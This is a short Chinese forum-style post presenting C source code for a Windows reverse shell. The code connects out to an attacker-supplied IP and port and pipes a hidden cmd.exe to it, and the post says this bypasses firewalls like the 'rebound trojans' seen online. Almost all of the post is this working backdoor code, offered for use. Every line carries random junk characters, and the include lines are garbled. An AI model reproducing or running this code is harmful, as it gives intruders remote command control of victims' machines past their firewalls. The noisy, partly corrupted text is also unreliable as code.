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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w>J|416  
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/* ============================== *{/BPc0*  
Rebound port in Windows NT JT#jJ/^  
By wind,2006/7 f9?\Q'v8  
===============================*/ \x5b=~/   
#include '1_CMr  
#include >$j?2,Za(V  
N^jQ\|A<  
#pragma comment(lib,"wsock32.lib") _?]bd-E  
j|c  
void OutputShell(); :q/%uca9  
SOCKET sClient; }4b 4<Sm_h  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j}ywdP`a  
uS`XWn<CSD  
void main(int argc,char **argv) >08'+\~:b  
{ 2+ m%f"  
WSADATA stWsaData; $aDAD4mmm  
int nRet; i=jwk_y  
SOCKADDR_IN stSaiClient,stSaiServer; [T<nTB# w  
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if(argc != 3) GH[ATL  
{ E">FH >8K}  
printf("Useage:\n\rRebound DestIP DestPort\n"); ? Dm={S6  
return; K[r<-6TS  
} 3}~.#`QeY  
N@6+DHt  
WSAStartup(MAKEWORD(2,2),&stWsaData); lLhvpvT  
c&me=WD  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /vO8s??  
]wb^5H  
stSaiClient.sin_family = AF_INET; c_wvuKa  
stSaiClient.sin_port = htons(0); 7vZtEwC)n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AQ+MjS,  
DXA<m2&64N  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Wg{ 9X#|  
{ GWd71ZtFO  
printf("Bind Socket Failed!\n"); 2[} O:  
return; j}u b  
} ,Y9bXC8+dU  
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stSaiServer.sin_family = AF_INET; BPO)<bx_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !r^fX=X>'  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hNU$a?eVpR  
t^Z-0jH  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k0r93 xa  
{ ^cRAtoa  
printf("Connect Error!"); cPunMHD  
return; <tUl(q+ty  
} )O+Vft&#  
OutputShell(); !%X~`&9  
} Rp^fY_  
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void OutputShell() *? V boyU  
{ @=<B8VPJd  
char szBuff[1024]; C*X=nezq  
SECURITY_ATTRIBUTES stSecurityAttributes; m3#rU%Wj  
OSVERSIONINFO stOsversionInfo; f?JP=j  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L`3;9rO  
STARTUPINFO stStartupInfo; <S ae:m4  
char *szShell; _w}l,   
PROCESS_INFORMATION stProcessInformation; B)/L[ )S  
unsigned long lBytesRead; G22{',#r8  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0ZM#..3sI  
1S+lHG92I  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @ / .w%  
stSecurityAttributes.lpSecurityDescriptor = 0; lxsn(- j  
stSecurityAttributes.bInheritHandle = TRUE; 0?o<cC1Z  
rSa=NpFxLu  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yQcIfl]f  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); v? Zo5uVoq  
{nPiIPH  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A('o &H  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &>f]  
stStartupInfo.wShowWindow = SW_HIDE; t i&!_  
stStartupInfo.hStdInput = hReadPipe; "IHFme@^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;#bDz}|\AN  
}Y"vUl_I2  
GetVersionEx(&stOsversionInfo); =odKi"-6  
7#&e0fw/I  
switch(stOsversionInfo.dwPlatformId) w2SN=X~#  
{ &g"`J`  
case 1: yUjkRT&h  
szShell = "command.com"; cJE4uL<  
break; !^'6&NR#K  
default: R=2"5Hy=  
szShell = "cmd.exe"; "+M0lGTB  
break; 704_ehrlE  
} a9u2Wlz  
|%oI,d=ycv  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =w!2R QB  
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send(sClient,szMsg,77,0); ]D&U} n  
while(1) >,ABE2t5  
{ j&u/T  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Bg[_MDWc-P  
if(lBytesRead) ?AO22N|j  
{ u9m ~1\R*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); v@4vitbG9  
send(sClient,szBuff,lBytesRead,0); d}y")q|F  
} ^(s(4|  
else D\Y,2!I  
{ ,D'm#Fti  
lBytesRead=recv(sClient,szBuff,1024,0); 8|(],NyEJ  
if(lBytesRead<=0) break; 6RG63+G  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X~cdM1z?  
} UhJ{MUH`  
} gA`QV''/:  
D|amKW7  
return; (*b<IGi;  
}
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